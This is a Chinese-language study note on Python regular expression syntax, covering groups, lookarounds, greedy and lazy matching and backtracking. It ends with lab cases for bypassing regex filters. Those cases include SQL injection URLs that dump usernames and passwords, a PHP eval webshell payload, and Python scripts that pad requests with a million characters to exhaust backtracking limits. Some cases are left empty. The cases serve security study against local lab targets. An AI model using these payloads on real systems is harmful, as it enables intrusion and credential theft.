目录
正则表达式:
概念:用特殊字符去匹配字符串中的内容
"""
正则表达式的语法: . ,*,$,\d,\w,\W转义字符:
\number: 引用分组的时候使用
\A:只匹配字符串开始。不作为匹配的结果输出
\b:匹配空字符串'',但只在单词开始或结尾的位置。不作为匹配的结果输出
\B:匹配空字符串,但 不 能在词的开头或者结尾。
\d:匹配任何Unicode十进制数
[0-9]: 匹配数字0-9中任意数字
[a-z]: 匹配a-z之间任意小写字母
[A-Z]: 匹配A-Z之间任意大写字母
\D: 匹配任何非十进制数字的字符
\s: 匹配任何Unicode空白字符(包括 [ \t\n\r\f\v] ,还有很多其他字符.
我们常说的空格
\S: 匹配任何非空白字符。就是 \s 取非。除空格外任意字符
如果设置了 ASCII 标志,就相当于 [^ \t\n\r\f\v] 。
\w: 匹配Unicode词语的字符,包含了可以构成词语的绝大部分字符,
也包括数字和下划线。Unicode: \w支持的范围:中文,[0-9][a-z][A-Z]_
\W: \w取非
.: 在默认模式,匹配除了换行的任意字符
^: 匹配字符串的开头
$: 匹配字符串尾或者在字符串尾的换行符的前一个字符
*: 对它前面的正则式匹配0到任意次重复, 尽量多的匹配字符串。
+: 对它前面的正则式匹配1到任意次重复。 尽可能多的去匹配。
?: 对它前面的正则式匹配0到1次重复。尽可能多的去匹配
+?,*?,??: 非贪婪模式的匹配,尽量少的字符将会被匹配
+?: 匹配1次
*?: 匹配0次
??: 匹配0次
{m}: 对其之前的正则式指定匹配 m 个重复:重复m次
{m,}: 最少匹配m个重复:最少重复m次
{m,n}: 对正则式进行m到n次匹配,在m和n之间取尽量多
{m,n}?:对正则式进行m到n次匹配, 在m和n之间取尽量少的
转义: \ : 对字符进行转义:\\, \n,\t,
不转义:r: 针对r后边的字符串:里边存在转义符不进行转义
[]:用于表示一个字符集合
[abc]: 匹配a或者匹配b或者匹配c,只匹配一位
|: A|B:匹配 A 或者 B
(): 分组的概念:用()括起来的就是组,()不参加匹配
(组合)
匹配括号内的任意正则表达式,并标识出组合的开始和结尾。
匹配完成后,组合的内容可以被获取.
obj.group() == obj.group(0)
obj.group(0): 匹配到字符串本身,和分组没有关系
怎么去判断分组的数量:
从正则表达式的左到右:去数左括号的个数
怎么去判定分组的顺序:
就是根据左括号的顺序:从1开始累加
并可以在之后用 \number 转义序列进行再次匹配,
两种用法:提取分组的内容,提取匹配到字符串中你想要部分内容
可以使用\number这种方式去引用,去重复匹配
(?:...):匹配在括号内的任何正则表达式,
但该分组所匹配的子字符串不能在执行匹配后被获取
不能在模式中被引用。不可以使用\number这种方式去引用
(?P<name>…): 命名组合:分组命名
(?P=name): 对前边已定义的分组的引用
(?=...): lookahead assertion: 正向预搜索, 不消耗内容
(?=正则):他是只作为匹配的条件,不会作为结果输出
只作为(?=)前边表达式的限定条件
(?!...):匹配 … 不符合的情况。 negative lookahead assertion
他是只作为匹配的条件,不会作为结果输出
只作为(?=)前边表达式的限定条件,判断后边不是(?!)中的内容
(?<=…): positive lookbehind assertion:正向后视断定(反向预搜索)
他是只作为匹配的条件,不会作为结果输出
只作为(?<=)后边表达式的限定条件
(?<!…):negative lookbehind assertion (后视断定取非)
他是只作为匹配的条件,不会作为结果输出
只作为(?!=)后边表达式的限定条件,判断前边不是(?<!)中的内容
(?(id/name)yes-pattern|no-pattern):
如果给定的 id(组号) 或 name(组名) 存在,将会尝试匹配 yes-pattern
否则就尝试匹配 no-pattern
"""
需要转义的特殊字符:
$ ( ) * + . ? [ \ ^ {
单词边界:
\b`属于匹配位置的元字符,一般作占位作用,而不被捕获,同属于匹配位置的还有匹配行起始位`^`和行结束位`$
贪婪匹配:
属于贪婪模式的量词,也叫做匹配优先量词,包括:{m,n}
,{m,}
,?
,*
和 +
。
惰性匹配:
在匹配优先量词后加上?
,即变成属于惰性匹配的量词,也叫做忽略优先量词,包括:{m,n}?
,{m,}?
,??
,*?
和 +?
。
回溯:
当前前面分支/重复匹配成功后,没有多余的文本可被正则后半部分匹配时,会产生回溯
用一个简单的例子来解释一下贪婪匹配和惰性匹配!
贪婪 : /\d+\b/
惰性 : /d+?\b/
文本 : 1234a
贪婪正则匹配 1234a
时的过程是这样的:
1. \d+ 匹配得到 1234 2. \b 却匹配失败(\b 是分词边界匹配,用来获取位置,而不是文本,上一节有讲到) 4. 这个时候,\d+会尝试回吐一个字符,即匹配结果为 123 ,可\b还是匹配失败! 5. 那就继续回吐,一直到 1,还是匹配失败,那么这个正则就整体匹配失败了 6. 这个回吐匹配结果的过程就是回溯
惰性正则匹配 1234a
时的过程是这样的:
1. \d+? 首先匹配,结果是1 ,紧接着 \b 匹配失败 2. 那就 \d+? 继续匹配,结果是 12 ,紧接着 \b 还是匹配失败 3. \d+? 一直匹配到1234,紧接着的 \b 依然匹配失败 4. 结果整个正则匹配不成功
复现绕过案例:
案例一:
select\b[\s\S]*\bfrom
此时输入
http://localhost/Less-1/?id=-1%E2%80%98%20union%20select%201,(select%20group_concat(username,0x3a,password),from%20users),3--+
会出现
绕过方法:
在from前面输入科学计数法,SQL支持科学计数法
http://localhost/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(username,0x3a,password),1e1from%20users),3--+
http://localhost/Less-1/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),1e1from%20users--+20
绕过成功
案例二:
绕过方法:

import requests
files = {
'file': 'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
}
res = requests.post('http://127.0.0.1/index.php', data=files)
print(res.headers)
案例三:
.+?
匹配到/
因为非贪婪模式,所以
.+?
停止匹配,而由S
匹配*
S
匹配*
失败,回溯,再由.+?
匹配*
因为非贪婪模式,所以
.+?
停止匹配,而由S
匹配a
S
匹配a
失败,回溯,再由.+?
匹配a
...
绕过方法:
import requests
files = {
'id': "-1'" + 'union/*' + 'a' * 1000000 + '*/select 1,2,3#'
}
res = requests.post('http://127.0.0.1/Less-1/index.php', data=files)
print(res.text)
案例四:
绕过方法:
原理:
案例五:
与案例四不同的是在一开始就判断是不是数组,提交数组不能往下走
绕过方法:
import requests
files = {
'greeting': 'Merry Christmas' + 'a' * 1000000
}
res = requests.post('http://127.0.0.1/demo4.php', data=files)
print(res.text)